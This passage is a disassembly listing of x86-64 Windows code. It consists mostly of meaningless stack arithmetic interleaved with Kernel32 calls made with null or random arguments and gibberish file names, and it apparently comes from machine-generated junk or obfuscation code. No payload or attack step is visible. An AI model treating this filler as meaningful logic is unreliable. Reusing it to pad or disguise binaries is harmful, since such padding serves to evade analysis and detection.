mov rax, qword [rsp + 0xa028]
mov ecx, dword [rsp + 0x3e30]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4300], eax
mov rax, qword [rsp + 0xc230]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1fa8]
xor eax, ecx
mov rcx, qword [rsp + 0xb700]
mov word [rcx], ax
movzx eax, word [rsp + 0x179c]
mov rcx, qword [rsp + 0xbe98]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1a64], ax
mov rax, qword [rsp + 0xb608]
mov rcx, qword [rsp + 0x9ba0]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14022bbd8], rax
mov rax, qword [rsp + 0xb648]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbe18]
sar rax, cl
mov qword [rsp + 0x9088], rax
mov rax, qword [rsp + 0xbc48]
mov rax, qword [rax]
mov qword [rsp + 0xc6d0], rax
mov rax, qword [rsp + 0xa6d0]
mov rcx, qword [rsp + 0x6f98]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc540], rax
lea rax, [rsp + 0x1cb0]
mov qword [rsp + 0xc6d8], rax
mov rax, qword [rsp + 0xb4f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3ca]
and eax, ecx
mov byte [rsp + 0x35f], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.6Hemw2fRlOi3goUb2_nLyB796sGJQ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc6e0], rax
lea rcx, [rsp + 0xbd58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 0x18f2
xor r8d, r8d
lea rdx, [rsp + 0xb3c8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b6c], eax
mov rax, qword [rsp + 0xc310]
mov ecx, dword [rsp + 0x43e4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb470]
mov dword [rcx], eax
lea rax, [rsp + 0x49e4]
mov qword [rsp + 0xc6e8], rax
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x188], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [0x14022bc38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa688]
mov qword [rsp + 0xc6f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc6f0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [0x14022bbc0]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.4oDzEP_rsmYAOToI
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc6f8], rax
mov rax, qword [rsp + 0x9ee0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10b4]
and eax, ecx
mov word [rsp + 0xcd4], ax
mov rax, qword [rsp + 0xa8c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ed4]
or eax, ecx
mov word [rsp + 0x1dec], ax
mov rax, qword [0x14022b860]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb0a0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb1c], ax
lea rax, [rsp + 0xab10]
mov qword [rsp + 0xc700], rax
mov rcx, qword [rsp + 0xb580]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb448]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb718]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xa0], al
mov eax, dword [rsp + 0x47b4]
mov dword [rsp + 0x4bfc], eax
lea rdx, [rsp + 0x4814]
mov rcx, qword [rsp + 0xa3f8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4874], eax
mov rax, qword [rsp + 0xc170]
mov rcx, qword [rsp + 0xa750]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb0f0], rax
mov rax, qword [rsp + 0xbf78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e98]
sub eax, ecx
mov word [rsp + 0xb58], ax
lea rax, [rsp + 0x2084]
mov qword [0x14022bed0], rax
mov rax, qword [rsp + 0xbd30]
mov qword [rsp + 0xc708], rax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f7c]
and eax, ecx
mov word [rsp + 0x1fe4], ax
mov rax, qword [rsp + 0x9b18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x37d]
sar eax, cl
mov byte [rsp + 0x216], al
mov rax, qword [rsp + 0xbc20]
mov ecx, dword [rsp + 0x4950]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d70], eax
mov rax, qword [rsp + 0xaf18]
mov rcx, qword [rsp + 0x7770]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78f0], rax
movzx eax, byte [rsp + 0x2dd]
mov byte [rsp + 0x3cc], al
mov rax, qword [rsp + 0xa3a0]
mov ecx, dword [rsp + 0x4838]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb338]
mov dword [rcx], eax
lea rcx, [rsp + 0xc710]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
movsx eax, word [0x140229f50]
movsx ecx, word [rsp + 0x1cd4]
sub eax, ecx
mov word [rsp + 0x964], ax
movzx eax, word [rsp + 0x1d18]
mov rcx, qword [rsp + 0xa718]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140229f7c], ax
lea rcx, [rsp + 0xa488]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xba10]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8250]
shl rax, cl
mov qword [rsp + 0xb938], rax
lea rax, [rsp + 0x7218]
mov qword [rsp + 0xc718], rax
movsx eax, word [rsp + 0x1ec4]
movsx ecx, word [rsp + 0xf38]
xor eax, ecx
mov word [rsp + 0xec8], ax
movzx eax, word [rsp + 0x1bc4]
movzx ecx, word [0x14022b900]
or eax, ecx
mov word [rsp + 0x176c], ax
movzx eax, byte [rsp + 0x1bb]
mov byte [rsp + 0x3cd], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x13b5
mov rcx, qword [rsp + 0xb9b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x49c4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 2
xor r8d, r8d
mov edx, 0x5a73
mov rcx, qword [rsp + 0xc388]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47d4], eax
mov rax, qword [rsp + 0xae18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6fd8], rax
lea rdx, [rsp + 0x4904]
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c00], eax
mov rcx, qword [rsp + 0xae80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb4e8]
mov eax, dword [rax]
mov dword [rsp + 0x4c04], eax
mov rax, qword [rsp + 0xc2e0]
mov rcx, qword [0x14022a038]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbcb0]
movzx eax, word [rax]
mov word [0x14022bed8], ax
mov rax, qword [rsp + 0xa268]
movzx eax, word [rax]
movzx ecx, word [0x14022bc40]
sub eax, ecx
mov word [rsp + 0x1e30], ax
mov eax, dword [rsp + 0x3ba8]
mov rcx, qword [rsp + 0xa650]
mov qword [rsp + 0xc720], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc720]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3a88], eax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0xabf8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc158]
mov byte [rcx], al
lea rax, [0x14022a078]
mov qword [rsp + 0xc728], rax
mov rax, qword [rsp + 0x88c0]
mov rcx, qword [rsp + 0xc600]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa1a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [rsp + 0x4b5c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4a4c], eax
movzx eax, byte [rsp + 0xeb]
mov byte [rsp + 0x3ce], al
movsx eax, word [rsp + 0x1ef4]
mov rcx, qword [rsp + 0xa8d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1db0], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x32ba
mov rcx, qword [rsp + 0xc318]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x499c], eax
lea rax, [rsp + 0x1dc0]
mov qword [0x14022bee0], rax
mov rax, qword [rsp + 0xabb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x74b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x79d0], rax
lea rcx, [rsp + 0xc730]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, word [rsp + 0x1eb4]
mov rcx, qword [rsp + 0xa268]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1088], ax
lea rax, [rsp + 0x1fb8]
mov qword [rsp + 0xc738], rax
mov rax, qword [rsp + 0xa8e0]
mov rcx, qword [rsp + 0xc058]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x99e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9bc0]
shl rax, cl
mov qword [rsp + 0x9150], rax
mov rax, qword [rsp + 0x97b8]
mov eax, dword [rax]
mov dword [rsp + 0x4c08], eax
movsx eax, byte [rsp + 0x3c8]
movsx ecx, byte [rsp + 0x98]
or eax, ecx
mov rcx, qword [rsp + 0x96d8]
mov byte [rcx], al
mov r9d, 0x6c0
xor r8d, r8d
lea rdx, [rsp + 0xa438]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4734], eax
lea rdx, [rsp + 0x4c0c]
mov rcx, qword [rsp + 0xa020]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x478c], eax
lea rax, [rsp + 0xf60]
mov qword [rsp + 0xc740], rax
mov rax, qword [rsp + 0xb378]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7f08]
sar rax, cl
mov qword [0x14022a058], rax
mov rax, qword [rsp + 0x9e10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc1c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x19e], al
mov rax, qword [rsp + 0xa160]
mov rcx, qword [rsp + 0xb7a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbf90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc2e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1de4]
add eax, ecx
mov word [rsp + 0xbd4], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa7ea
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4664], eax
movzx eax, word [rsp + 0x12dc]
mov rcx, qword [rsp + 0xabd0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d18], ax
mov rax, qword [rsp + 0xb620]
movzx eax, byte [rax]
mov byte [rsp + 0x3cf], al
mov rax, qword [rsp + 0xaff0]
mov rax, qword [rax]
mov rcx, qword [0x14022bc70]
mov qword [rsp + 0xc748], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc748]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x88e0], rax
mov rax, qword [rsp + 0xb8a8]
mov rcx, qword [rsp + 0xb928]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4bc8], eax
lea rax, [rsp + 0xae8]
mov qword [rsp + 0xc750], rax
mov rax, qword [0x14022bed0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bb4]
sub eax, ecx
mov word [0x14022badc], ax
mov rax, qword [rsp + 0x8360]
movzx ecx, al
mov rax, qword [rsp + 0x7918]
shl rax, cl
mov rcx, qword [rsp + 0xb7b8]
mov qword [rcx], rax
lea rax, [rsp + 0xa9e8]
mov qword [rsp + 0xc758], rax
mov rax, qword [rsp + 0xc408]
mov rcx, qword [rsp + 0xa8e0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xc120]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1c98]
mov rcx, qword [rsp + 0x9f00]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1cb8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov eax, dword [rsp + 0x3a84]
mov dword [rsp + 0x4c10], eax
lea rdx, [rsp + 0x48c0]
mov rcx, qword [rsp + 0xb9c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c14], eax
mov rax, qword [rsp + 0xb380]
movzx ecx, al
mov rax, qword [0x14022bd18]
shr rax, cl
mov qword [rsp + 0x9218], rax
movsx eax, byte [rsp + 0xeb]
mov rcx, qword [rsp + 0xb1b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb1], al
mov rax, qword [rsp + 0xa2c8]
mov ecx, dword [rsp + 0x460c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x39b0], eax
lea rax, [rsp + 0x216]
mov qword [rsp + 0xc760], rax
movzx eax, word [rsp + 0x1d28]
mov word [0x14022bee8], ax
mov rcx, qword [rsp + 0x9948]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0xa58]
mov rcx, qword [0x14022bd70]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1e4c], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x43c5
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4c18], eax
movzx eax, word [rsp + 0xe38]
movzx ecx, word [rsp + 0x1f0c]
and eax, ecx
mov word [rsp + 0x1eb0], ax
lea rax, [rsp + 0xa0f8]
mov qword [rsp + 0xc768], rax
mov rax, qword [rsp + 0xb088]
mov rcx, qword [rsp + 0xa220]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49c0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
movzx eax, byte [rsp + 0xac]
mov byte [rsp + 0x3d0], al
mov rax, qword [rsp + 0xafb0]
movzx ecx, al
mov rax, qword [rsp + 0xa508]
shr rax, cl
mov qword [rsp + 0x8c50], rax
movsx eax, word [rsp + 0x1fdc]
mov rcx, qword [0x14022b970]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xab80]
mov word [rcx], ax
lea rax, [rsp + 0x1f44]
mov qword [rsp + 0xc770], rax
lea rax, [rsp + 0xa6b0]
mov qword [0x14022bef0], rax
movzx eax, word [rsp + 0x2064]
movzx ecx, word [rsp + 0x1dac]
and eax, ecx
mov rcx, qword [rsp + 0xad80]
mov word [rcx], ax
mov rax, qword [rsp + 0xb028]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x70e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c30], rax
mov rax, qword [rsp + 0xaab0]
mov rcx, qword [rsp + 0xbac8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbea0], rax
mov rax, qword [0x14022b928]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37e]
xor eax, ecx
mov byte [rsp + 0x1bb], al
lea rax, [rsp + 0x9b08]
mov qword [rsp + 0xc778], rax
mov rax, qword [rsp + 0xb768]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc510]
mov qword [rsp + 0xc780], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc780]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x47c0], eax
mov rax, qword [rsp + 0xb610]
movzx eax, byte [rax]
mov byte [rsp + 0x3d1], al
mov rax, qword [rsp + 0xb4b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x475c]
shr eax, cl
mov dword [rsp + 0x4484], eax
movsx eax, word [rsp + 0x1e90]
movsx ecx, word [rsp + 0x1174]
sub eax, ecx
mov rcx, qword [0x14022b8b8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [0x14022a0ec]
mov word [rsp + 0x2090], ax
movzx eax, word [rsp + 0xff8]
mov rcx, qword [rsp + 0xbde0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b14], ax
lea rdx, [rsp + 0x4c1c]
mov rcx, qword [rsp + 0xb3a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x494c], eax
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0x1e64]
sub eax, ecx
mov word [rsp + 0x2038], ax
mov r9d, 0x197f
xor r8d, r8d
lea rdx, [rsp + 0xc0b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48fc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov r9d, 0x1b77
xor r8d, r8d
lea rdx, [rsp + 0xc3d8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c20], eax
movsx eax, byte [0x14022b814]
movsx ecx, byte [rsp + 0x353]
add eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0xb1e8]
mov rcx, qword [rsp + 0xaf60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xaa40]
mov dword [rcx], eax
mov rax, qword [0x14022b818]
mov rax, qword [rax]
mov qword [rsp + 0xc788], rax
movsx eax, word [rsp + 0x1d58]
movsx ecx, word [rsp + 0x1e44]
sar eax, cl
mov word [rsp + 0x1ee0], ax
mov rax, qword [rsp + 0xa718]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ea4]
add eax, ecx
mov word [rsp + 0x1874], ax
mov rax, qword [rsp + 0xb258]
mov rcx, qword [rsp + 0x97d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14022a128], rax
mov rax, qword [rsp + 0x9c78]
mov rcx, qword [rsp + 0x7918]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7638], rax
mov rax, qword [0x14022bb60]
mov rcx, qword [rsp + 0xc6b0]
mov qword [rsp + 0xc790], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc790]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xb378]
mov qword [rcx], rax
lea rax, [rsp + 0x7c50]
mov qword [rsp + 0xc798], rax
mov rax, qword [rsp + 0xa338]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fb4]
or eax, ecx
mov word [rsp + 0x988], ax
mov rax, qword [rsp + 0xa7d8]
mov ecx, dword [rsp + 0x49d8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4400], eax
mov rax, qword [rsp + 0xb788]
movzx eax, byte [rax]
mov byte [rsp + 0x3d2], al
mov eax, dword [rsp + 0x45a0]
mov ecx, dword [rsp + 0x4acc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ad4], eax
lea rdx, [rsp + 0x47a0]
mov rcx, qword [rsp + 0xb370]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4684], eax
mov rax, qword [0x14022bc50]
movzx eax, byte [rax]
mov byte [rsp + 0x3d3], al
mov rax, qword [rsp + 0xc638]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbe08]
mov qword [rsp + 0xc7a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc7a0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [0x14022bc00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaeb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e38]
sub eax, ecx
mov word [rsp + 0x1f20], ax
mov rax, qword [0x14022b8f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ee0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2070], ax
mov rcx, qword [rsp + 0xaaa8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x1d24]
mov qword [rsp + 0xc7a8], rax
mov rax, qword [rsp + 0xab18]
mov rcx, qword [rsp + 0xae60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7288], rax
mov rax, qword [0x14022b890]
mov ecx, dword [rsp + 0x4b0c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x424c], eax
movsx eax, byte [rsp + 0x37b]
movsx ecx, byte [rsp + 0x8c]
cdq
idiv ecx
mov byte [rsp + 0x2c6], al
lea rax, [rsp + 0xa400]
mov qword [rsp + 0xc7b0], rax
movsx eax, word [0x14022a100]
movsx ecx, word [rsp + 0x1fac]
sar eax, cl
mov rcx, qword [rsp + 0xc3f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc770]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e18]
and eax, ecx
mov word [0x14022bc30], ax
mov rax, qword [rsp + 0xc480]
mov rcx, qword [rsp + 0xacf0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb530], rax
lea rax, [rsp + 0x1e4c]
mov qword [rsp + 0xc7b8], rax
lea rcx, [rsp + 0xc7c0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [rsp + 0x4aa8]
movzx ecx, al
mov eax, dword [rsp + 0x47a4]
shl eax, cl
mov dword [rsp + 0x3fdc], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe9fb
mov rcx, qword [rsp + 0xbe10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4a88], eax
mov rax, qword [rsp + 0xad58]
movzx eax, byte [rax]
mov byte [rsp + 0x3d4], al
mov rax, qword [rsp + 0xa408]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3aa]
or eax, ecx
mov rcx, qword [rsp + 0xb2f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4af4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9380]
mov rcx, qword [rsp + 0x7eb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7ff8], rax
lea rdx, [rsp + 0x4b6c]
mov rcx, qword [rsp + 0xbd90]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c24], eax
mov rax, qword [rsp + 0xb5d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19fc]
and eax, ecx
mov word [rsp + 0x1e28], ax
lea rax, [rsp + 0x13c8]
mov qword [0x14022bef8], rax
lea rax, [rsp + 0x8d08]
mov qword [rsp + 0xc7c8], rax
mov rax, qword [rsp + 0x9780]
mov rcx, qword [rsp + 0xa218]
mov qword [rsp + 0xc7d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc7d0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa570], rax
mov rax, qword [rsp + 0x9c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaa80]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa918]
mov word [rcx], ax
lea rax, [rsp + 0xbe0]
mov qword [rsp + 0xc7d8], rax
mov rax, qword [rsp + 0xa478]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
sub eax, ecx
mov byte [rsp + 0x38f], al
lea rax, [rsp + 0x4a48]
mov qword [rsp + 0xc7e0], rax
mov rax, qword [0x14022bc38]
mov rcx, qword [rsp + 0xc500]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xaed8], rax
mov rax, qword [rsp + 0xc3c0]
mov rcx, qword [rsp + 0xb440]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbb8], rax
lea rax, [rsp + 0x1c9c]
mov qword [0x14022bf00], rax
lea rax, [0x14022bc44]
mov qword [rsp + 0xc7e8], rax
mov rax, qword [rsp + 0xb480]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4830]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
movzx eax, byte [rsp + 0x8f]
mov byte [rsp + 0x3d5], al
mov rax, qword [rsp + 0x7b58]
mov rcx, qword [rsp + 0xa770]
mov qword [rsp + 0xc7f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc7f0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xc728]
mov qword [rcx], rax
mov eax, dword [rsp + 0x49f8]
mov dword [rsp + 0x4c28], eax
movsx eax, byte [rsp + 0x38a]
mov rcx, qword [rsp + 0x9ee8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3bd], al
mov rax, qword [rsp + 0xaf40]
mov rcx, qword [rsp + 0xc278]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x99e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa800]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaf10]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x9a8], ax
lea rcx, [rsp + 0xa178]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movzx eax, word [rsp + 0x1f60]
movzx ecx, word [rsp + 0x2060]
sub eax, ecx
mov rcx, qword [0x14022ba08]
mov word [rcx], ax
mov rax, qword [rsp + 0x7f68]
mov rcx, qword [rsp + 0xa280]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc248], rax
movzx eax, word [rsp + 0x1fe8]
mov word [rsp + 0x2094], ax
mov rax, qword [rsp + 0xa398]
movsx eax, word [rax]
mov rcx, qword [0x14022b8f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2044], ax
mov rax, qword [rsp + 0xb0b0]
movzx ecx, al
mov rax, qword [rsp + 0xb1f0]
sar rax, cl
mov qword [rsp + 0xbea8], rax
mov rax, qword [rsp + 0xb6b8]
mov rcx, qword [rsp + 0x9b58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c10], rax
mov rax, qword [rsp + 0xa4a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc228]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x385], al
mov r9d, 0xb42
xor r8d, r8d
lea rdx, [rsp + 0x9b88]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c2c], eax
mov rax, qword [rsp + 0xaf60]
mov eax, dword [rax]
mov dword [rsp + 0x4c30], eax
movzx eax, word [rsp + 0x1fe4]
mov rcx, qword [rsp + 0xb990]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x177c], ax
mov rax, qword [0x140229fe0]
mov qword [0x14022bf08], rax
mov rax, qword [rsp + 0xa630]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9fe8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb838]
mov byte [rcx], al
mov eax, dword [rsp + 0x3b2c]
mov ecx, dword [rsp + 0x4524]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4120], eax
mov rax, qword [rsp + 0xb278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1130]
sub eax, ecx
mov word [rsp + 0x1fa0], ax
lea rdx, [rsp + 0x4b90]
mov rcx, qword [rsp + 0xa0e8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4714], eax
mov r9d, 0xc9a
xor r8d, r8d
lea rdx, [rsp + 0xbdc0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c34], eax
movzx eax, word [rsp + 0x1aec]
mov word [rsp + 0x2098], ax
mov rax, qword [0x14022a048]
mov rcx, qword [rsp + 0xb958]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc2d8], rax
lea rax, [rsp + 0x4acc]
mov qword [rsp + 0xc7f8], rax
mov r9d, 2
xor r8d, r8d
